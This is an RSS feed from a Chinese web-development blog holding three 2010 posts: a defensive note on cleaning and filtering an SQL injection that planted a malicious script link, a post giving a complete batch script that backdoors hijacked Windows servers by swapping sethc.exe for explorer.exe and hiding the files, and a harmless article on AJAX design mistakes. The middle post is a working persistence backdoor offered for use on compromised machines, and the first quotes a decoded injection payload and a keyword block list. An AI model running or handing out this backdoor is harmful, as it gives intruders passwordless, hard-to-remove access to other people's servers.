<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>无风的港湾 &#187; 人</title>
	<atom:link href="http://www.5bay.cn/tag/%E4%BA%BA/feed" rel="self" type="application/rss+xml" />
	<link>http://www.5bay.cn</link>
	<description>让你我停泊~</description>
	<lastBuildDate>Fri, 16 Dec 2011 09:18:11 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3</generator>
		<item>
		<title>ASP防注入新方式，希望对大家是有用的</title>
		<link>http://www.5bay.cn/server-building/aspeaojie.html</link>
		<comments>http://www.5bay.cn/server-building/aspeaojie.html#comments</comments>
		<pubDate>Wed, 28 Jul 2010 02:00:27 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[ASP]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[url]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[工具]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[数据库]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[类]]></category>
		<category><![CDATA[网站]]></category>
		<category><![CDATA[诫]]></category>
		<category><![CDATA[连接]]></category>
		<category><![CDATA[防注入]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=527</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/aspeaojie.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>最近我的网站经常把js脚本注入到数据，清除了又来。先后在网上找了很多的方法，还是没有用的，十分恼火。 首先先告诉大家一个批量清除代码的sql语句。 update 表名 set 字段=replace(字段,&#8217;script src=http://3b3.org/c.js&#62; 1、分析那些无聊的人，或者有些病态的人究竟做了些什么 。 通过iis的日志或者microsoft urlscan 日志查看，在一些通过id查询数据库内容的时候后面被人加了一段很长的字符窜。 %%3B%%44%%65%%43%%4C%%61%%52%%45%%类似这样的字符窜，一定是其他的方式编码 首先我们先用工具分析下如此之长的字符窜究竟包含了些什么内容。 通过批量替换工具把%%全部替换成空，然后把得到的字符串通过其他的转码工具，转成字符窜。 ;DeCLaRE @S NvArCHaR(4000);SeT @S=CaSt(0&#215;45这里代码去掉了06F007200 aS NvArChAR(4000));ExEc(@S);&#8211; 就是一段与通过id查询数据库同时执行的sql，就给数据库某些表的字段加入了js病毒连接。 2、所以我们的原来的防sql注入的字符串就需要升级了。 如果过滤16进制 ; 对应 3B DeCLaRE 对应 4465434C615245 @ 对应 40 NvArCHaR 对应 4E76417243486152 set 对应 536554 CaSt 对应 43615374 as 对应 6153 exec 对应 45784563 - 对应 2D 把16进制的代码用&#124;隔开放到injdata 里面 injdata = [...]]]></description>
			<content:encoded><![CDATA[<p>最近我的网站经常把js脚本注入到数据，清除了又来。先后在网上找了很多的方法，还是没有用的，十分恼火。</p>
<p>首先先告诉大家一个批量清除代码的sql语句。</p>
<p>update 表名 set 字段=replace(字段,&#8217;script src=http://3b3.org/c.<a href="http://www.5bay.cn/tag/js" class="st_tag internal_tag" rel="tag" title="标签 js 下的日志">js</a>&gt;<br />
1、分析那些无聊的人，或者有些病态的人究竟做了些什么 。</p>
<p>通过iis的日志或者microsoft urlscan 日志查看，在一些通过id查询数据库内容的时候后面被人加了一段很长的字符窜。</p>
<p>%%3B%%44%%65%%43%%4C%%61%%52%%45%%类似这样的字符窜，一定是其他的方式编码</p>
<p>首先我们先用工具分析下如此之长的字符窜究竟包含了些什么内容。</p>
<p>通过批量替换工具把%%全部替换成空，然后把得到的字符串通过其他的转码工具，转成字符窜。</p>
<p>;DeCLaRE @S NvArCHaR(4000);SeT @S=CaSt(0&#215;45这里代码去掉了06F007200 aS NvArChAR(4000));ExEc(@S);&#8211;</p>
<p>就是一段与通过id查询数据库同时执行的sql，就给数据库某些表的字段加入了js病毒连接。</p>
<p>2、所以我们的原来的防sql注入的字符串就需要升级了。</p>
<p>如果过滤16进制</p>
<p>; 对应 3B</p>
<p>DeCLaRE 对应 4465434C615245</p>
<p>@ 对应 40</p>
<p>NvArCHaR 对应 4E76417243486152</p>
<p>set 对应 536554</p>
<p>CaSt 对应 43615374</p>
<p>as 对应 6153</p>
<p>exec 对应 45784563</p>
<p>- 对应 2D</p>
<p>把16进制的代码用|隔开放到injdata 里面</p>
<p>injdata = “3B|2D|&#8217;|;|and|exec|insert|select|delete%20from|update|count|”</p>
<p>然后自己测试下，程序是否拦击了这些16进制的代码，本人测试过是可以拦击的，如果不加入这些是不拦击的</p>
<p>照样可以注入到数据库。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpfengzhuangchangyongjavascriptweijsleiyibiankuaisudiaoyong.html" title="PHP封装常用Javascript为JS类以便快速调用">PHP封装常用Javascript为JS类以便快速调用</a> (1)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html" title="eAccelerator与memcache的区别与用途">eAccelerator与memcache的区别与用途</a> (2)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/asp" title="ASP" rel="tag">ASP</a>, <a href="http://www.5bay.cn/tag/js" title="js" rel="tag">js</a>, <a href="http://www.5bay.cn/tag/sql" title="sql" rel="tag">sql</a>, <a href="http://www.5bay.cn/tag/url" title="url" rel="tag">url</a>, <a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%B7%A5%E5%85%B7" title="工具" rel="tag">工具</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE%E5%BA%93" title="数据库" rel="tag">数据库</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%B1%BB" title="类" rel="tag">类</a>, <a href="http://www.5bay.cn/tag/%E7%BD%91%E7%AB%99" title="网站" rel="tag">网站</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a>, <a href="http://www.5bay.cn/tag/%E9%98%B2%E6%B3%A8%E5%85%A5" title="防注入" rel="tag">防注入</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/aspeaojie.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>无需输入密码登陆3389</title>
		<link>http://www.5bay.cn/server-building/eeeeee389.html</link>
		<comments>http://www.5bay.cn/server-building/eeeeee389.html#comments</comments>
		<pubDate>Wed, 28 Jul 2010 01:32:45 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[cache]]></category>
		<category><![CDATA[title]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[密码]]></category>
		<category><![CDATA[感谢]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[连接]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=518</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/eeeeee389.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>来源：脚本安全小组 在肉鸡上执行命令 copy c:\windows\explorer.exe c:\windows\system32\sethc.exe copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe 以后再连接肉鸡3389，敲5下shift键就可以直接进入了，无需输入密码，只是登陆上去没有任务栏，一直会有密码登陆框，不过够我们做很多事情了,目前win2003测试通过。 似乎2000也可以，XP不行。这两个系统没测试。 不知道有牛人知道是什么道理不. 小道消息：连敲5次shift就自动激活连滞键设置~~也就是自动执行sethc.exe ，你把explorer.exe换成sethc.exe 就是自动执行explorer.exe Shift后门TT整理版 来源：TT&#8217;s Blog 将下面的代码保存为tt.bat 然后到主机上运行~后门的启动了~ 然后连接对方3389然后连续按5次Shift就能进入盘里了 然后进入c:\windows\system32\cmd.exe 或者建个bat内容为 call cmd.xe 就是系统权限了~管理员把你先的用户删了也不怕~ 哇哈哈哈哈~~~ TITLE Shift后门 @echo off cls echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo. echo. echo 使用方法:本文件执行完毕后, echo 在终端界面按Shift 5次即可登陆系统! echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo. copy c:\windows\explorer.exe c:\windows\system32\sethc.exe echo 完成百分之 50 copy c:\windows\system32\sethc.exe [...]]]></description>
			<content:encoded><![CDATA[<p>来源：脚本安全小组</p>
<p>在肉鸡上执行命令</p>
<p>copy c:\windows\explorer.exe c:\windows\system32\sethc.exe</p>
<p>copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe</p>
<p>以后再连接肉鸡3389，敲5下shift键就可以直接进入了，无需输入密码，只是登陆上去没有任务栏，一直会有密码登陆框，不过够我们做很多事情了,目前win2003测试通过。</p>
<p>似乎2000也可以，XP不行。这两个系统没测试。</p>
<p>不知道有牛人知道是什么道理不.</p>
<p>小道消息：连敲5次shift就自动激活连滞键设置~~也就是自动执行sethc.exe ，你把explorer.exe换成sethc.exe 就是自动执行explorer.exe</p>
<p>Shift后门TT整理版<br />
来源：TT&#8217;s Blog</p>
<p>将下面的代码保存为tt.bat 然后到主机上运行~后门的启动了~</p>
<p>然后连接对方3389然后连续按5次Shift就能进入盘里了 然后进入c:\windows\system32\cmd.exe</p>
<p>或者建个bat内容为 call cmd.xe 就是系统权限了~管理员把你先的用户删了也不怕~</p>
<p>哇哈哈哈哈~~~<br />
<a href="http://www.5bay.cn/tag/title" class="st_tag internal_tag" rel="tag" title="标签 title 下的日志">TITLE</a> Shift后门<br />
@echo off<br />
cls<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo.<br />
echo.<br />
echo 使用方法:本文件执行完毕后,<br />
echo 在终端界面按Shift 5次即可登陆系统!<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo.<br />
copy c:\windows\explorer.exe c:\windows\system32\sethc.exe<br />
echo 完成百分之 50<br />
copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe<br />
echo 完成百分之 80<br />
attrib c:\windows\system32\sethc.exe +h<br />
echo 完成百分之 90<br />
attrib c:\windows\system32\dllcache\sethc.exe +h<br />
echo 完成百分之 100<br />
cls<br />
echo.<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo 后门安装完毕！<br />
echo.<br />
echo 感谢您使用Shift后门<br />
echo.<br />
echo.<br />
echo.<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo.<br />
echo. &amp; pause<br />
exit</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html" title="eAccelerator与memcache的区别与用途">eAccelerator与memcache的区别与用途</a> (2)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%95%B0%E6%8D%AE%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E8%AE%BE%E8%AE%A1.html" title="数据服务器的设计">数据服务器的设计</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E5%A4%9A%E8%BF%9B%E7%A8%8B%E7%9A%84%E6%B8%B8%E6%88%8F%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%AE%BE%E8%AE%A1.html" title="多进程的游戏服务器设计">多进程的游戏服务器设计</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%80%9D%E7%BB%B4%E7%9A%84%E6%83%AF%E6%80%A7.html" title="思维的惯性">思维的惯性</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E5%A4%9A%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E7%94%A8%E6%88%B7%E8%BA%AB%E4%BB%BD%E8%AE%A4%E8%AF%81%E6%96%B9%E6%A1%88.html" title="多服务器的用户身份认证方案">多服务器的用户身份认证方案</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/mmo%E7%9A%84%E6%8E%92%E9%98%9F%E7%B3%BB%E7%BB%9F.html" title="MMO 的排队系统">MMO 的排队系统</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/cache" title="cache" rel="tag">cache</a>, <a href="http://www.5bay.cn/tag/title" title="title" rel="tag">title</a>, <a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%AF%86%E7%A0%81" title="密码" rel="tag">密码</a>, <a href="http://www.5bay.cn/tag/%E6%84%9F%E8%B0%A2" title="感谢" rel="tag">感谢</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/eeeeee389.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AJAX应用程序开发七宗罪</title>
		<link>http://www.5bay.cn/network-programming/ajaxeeaoe.html</link>
		<comments>http://www.5bay.cn/network-programming/ajaxeeaoe.html#comments</comments>
		<pubDate>Sun, 25 Jul 2010 16:53:25 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[JavaScript&Ajax]]></category>
		<category><![CDATA[网络编程]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[dhtml]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[url]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[应用程序]]></category>
		<category><![CDATA[搜索]]></category>
		<category><![CDATA[新手]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[更新]]></category>
		<category><![CDATA[浏览器]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[自身]]></category>
		<category><![CDATA[设计]]></category>
		<category><![CDATA[诫]]></category>
		<category><![CDATA[链接]]></category>
		<category><![CDATA[错误]]></category>
		<category><![CDATA[页面]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=484</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/ajaxeeaoe.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>AJAX bandwagon是个好去处。它带给你更快、更高效、更强动态的应用。但它也有自身的缺陷。 初一看，具备一些常识似乎就能避免这些缺陷，在一定程度上，的确如此。但从DHTML起源来看，AJAX应用程序充满了结构性差异。不论你在应用程序开发工作中掌握了多少常识，从别人犯的错误中吸取教训也是有好处的。我们称这些错误为“七宗死罪”，但它们不能代表全部的错误。 事实上，在你犯这些致命过失之前，你可能首先犯了一些较轻的错误。因此我们从这里着手。这是每个人都可能犯的错误。这些错误是多么普遍，通过Google搜索一下，你就可以发现大部分的错误。 七宗轻罪 1．滥用Back按钮—这是每个人都会犯的错误。Back按钮在很多网页程序中已经成为用户的期望。很多AJAX研发新手在开发AJAX应用程序时，出于多种原因都敏捷地使用着Back按钮。首先，JavaScript对于它来说不是最友好的语言；其次，AJAX设计中需要一种全新的思考方式。 对于AJAX 研发新手“后退”显然不是最好的选择。“后退”是一种你更新页面，或更常见的，你需要在特定情况下进行“撤销”时才用到的功能。在进行编码前应认识到这些，或者你可能重复做功。 2．忘记告诉用户当前发生的状况—AJAX工作原理中的一部分是其不使用常规的网页用户界面加载程序。因此，你需要明确设计一些可视的提示，使用户了解正在发生的状况。 3．忽视链接—这也是AJAX的标准失误：漏做了程序外部用户可以剪贴的URL链接。我们都曾经多少次复制过URL链接然后将其发送给别人？当你在使用AJAX 时，提供给你的用户有用URL链接的唯一方法是，手动提供给他们。为什么？因为在AJAX程序中，服务器不提供JavaScript动态生成的这个页面！不要忽视你的用户可能感兴趣的这个网络应用中最普通的功能。既然服务器不支持，那你花点功夫为用户提供URLs。 4．用内容控制替代控制—如果你正在寻找动态的内容控制，那么对传统的客户服务器交互作用的突破对你来说可是件好事。但这也是一项罪过：在重写一个页面的某精确位置上的内容以调整用户的交互式体验时确实确实能够很好的控制，但这也将使你的页面不完整。通常，我们专注于处理页面的某一部分，而忘记服务器不刷新页面。这会导致页面凌乱，用户体验降低，当他们察看页面时可能看到过时的页面!把你的注意力放在整个页面; 确保出现动态页面的内容都得到更新。 5.累死蜘蛛 –AJAX的优势在于无需重装就可以提供给页面的大量的文本；AJAX的缺陷在于无需重装就可以提供给页面的大量的文本。如果应用被设置为对搜索引擎友好，那么，你能够想象会出现什么情况。无论页面中出现了什么，请务必在最上面植入足够稳定的文本，为蜘蛛们去玩耍吧。 产生乱码文本—AJAX不支持很多字符集。这不是涉及生死的局限性，但忘记它能够产生真的问题。最基本的字符集是UTF-8。不论JavaScript发送什么，别忘记正确地编码，并且根据内容设置服务器端的字符集。 没有为使用不支持JavaScript的浏览器的用户提供提示&#8211;有些浏览器不支持JavaScript，用户一时不能明白出了什么状况。请给他们提供提示。 实话实说，其中大部分是常识性问题。真正的问题都很容易让人忽视的。 相关博文2010年07月26日 -- ajax的缺点 (0)2010年07月26日 -- 使用Ajax时的十个常犯的错误 (0)2010年07月26日 -- 基于JSON的高级AJAX开发技术 (0)2010年07月26日 -- Ajax的工作原理 (1)2010年05月23日 -- 《高性能网站建设指南》读书笔记 (0)2010年07月26日 -- 最令PHP初学者头痛的十四个问题 (0)2010年07月26日 -- AJAX的各种控件和类库 (0)2010年07月26日 -- XMLHTTP对象封装技术 (0)2010年07月26日 -- PHP安全之数据过滤 (0)2010年07月26日 -- 深入探讨PHP中的内存管理问题 (0)2008年10月17日 -- 以人为本，美术资源的归档 (0)2010年07月26日 -- PHP和Socket简介 (0)2010年07月26日 [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.5bay.cn/tag/ajax" class="st_tag internal_tag" rel="tag" title="标签 ajax 下的日志">AJAX</a> bandwagon是个好去处。它带给你更快、更高效、更强动态的应用。但它也有自身的缺陷。</p>
<p>初一看，具备一些常识似乎就能避免这些缺陷，在一定程度上，的确如此。但从DHTML起源来看，AJAX应用程序充满了结构性差异。不论你在应用程序开发工作中掌握了多少常识，从别人犯的错误中吸取教训也是有好处的。我们称这些错误为“七宗死罪”，但它们不能代表全部的错误。</p>
<p>事实上，在你犯这些致命过失之前，你可能首先犯了一些较轻的错误。因此我们从这里着手。这是每个人都可能犯的错误。这些错误是多么普遍，通过Google搜索一下，你就可以发现大部分的错误。<br />
<span id="more-484"></span><br />
七宗轻罪</p>
<p>1．滥用Back按钮—这是每个人都会犯的错误。Back按钮在很多网页程序中已经成为用户的期望。很多AJAX研发新手在开发AJAX应用程序时，出于多种原因都敏捷地使用着Back按钮。首先，JavaScript对于它来说不是最友好的语言；其次，AJAX设计中需要一种全新的思考方式。</p>
<p>对于AJAX 研发新手“后退”显然不是最好的选择。“后退”是一种你更新页面，或更常见的，你需要在特定情况下进行“撤销”时才用到的功能。在进行编码前应认识到这些，或者你可能重复做功。</p>
<p>2．忘记告诉用户当前发生的状况—AJAX工作原理中的一部分是其不使用常规的网页用户界面加载程序。因此，你需要明确设计一些可视的提示，使用户了解正在发生的状况。</p>
<p>3．忽视链接—这也是AJAX的标准失误：漏做了程序外部用户可以剪贴的URL链接。我们都曾经多少次复制过URL链接然后将其发送给别人？当你在使用AJAX 时，提供给你的用户有用URL链接的唯一方法是，手动提供给他们。为什么？因为在AJAX程序中，服务器不提供JavaScript动态生成的这个页面！不要忽视你的用户可能感兴趣的这个网络应用中最普通的功能。既然服务器不支持，那你花点功夫为用户提供URLs。</p>
<p>4．用内容控制替代控制—如果你正在寻找动态的内容控制，那么对传统的客户服务器交互作用的突破对你来说可是件好事。但这也是一项罪过：在重写一个页面的某精确位置上的内容以调整用户的交互式体验时确实确实能够很好的控制，但这也将使你的页面不完整。通常，我们专注于处理页面的某一部分，而忘记服务器不刷新页面。这会导致页面凌乱，用户体验降低，当他们察看页面时可能看到过时的页面!把你的注意力放在整个页面; 确保出现动态页面的内容都得到更新。</p>
<p>5.累死蜘蛛 –AJAX的优势在于无需重装就可以提供给页面的大量的文本；AJAX的缺陷在于无需重装就可以提供给页面的大量的文本。如果应用被设置为对搜索引擎友好，那么，你能够想象会出现什么情况。无论页面中出现了什么，请务必在最上面植入足够稳定的文本，为蜘蛛们去玩耍吧。</p>
<p>产生乱码文本—AJAX不支持很多字符集。这不是涉及生死的局限性，但忘记它能够产生真的问题。最基本的字符集是UTF-8。不论JavaScript发送什么，别忘记正确地编码，并且根据内容设置服务器端的字符集。<br />
没有为使用不支持JavaScript的浏览器的用户提供提示&#8211;有些浏览器不支持JavaScript，用户一时不能明白出了什么状况。请给他们提供提示。<br />
实话实说，其中大部分是常识性问题。真正的问题都很容易让人忽视的。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/gaoxingnengwangzhanjianshezhinandushubiji.html" title="《高性能网站建设指南》读书笔记">《高性能网站建设指南》读书笔记</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E4%BB%A5%E4%BA%BA%E4%B8%BA%E6%9C%AC%EF%BC%8C%E7%BE%8E%E6%9C%AF%E8%B5%84%E6%BA%90%E7%9A%84%E5%BD%92%E6%A1%A3.html" title="以人为本，美术资源的归档">以人为本，美术资源的归档</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeieeeeeting.html" title="AJAX初学:IE缓存页面的问题">AJAX初学:IE缓存页面的问题</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%B8%B8%E6%88%8F%E4%B8%AD%E7%9A%84%E8%B4%A7%E5%B8%81.html" title="游戏中的货币">游戏中的货币</a> (0)</li></ul>
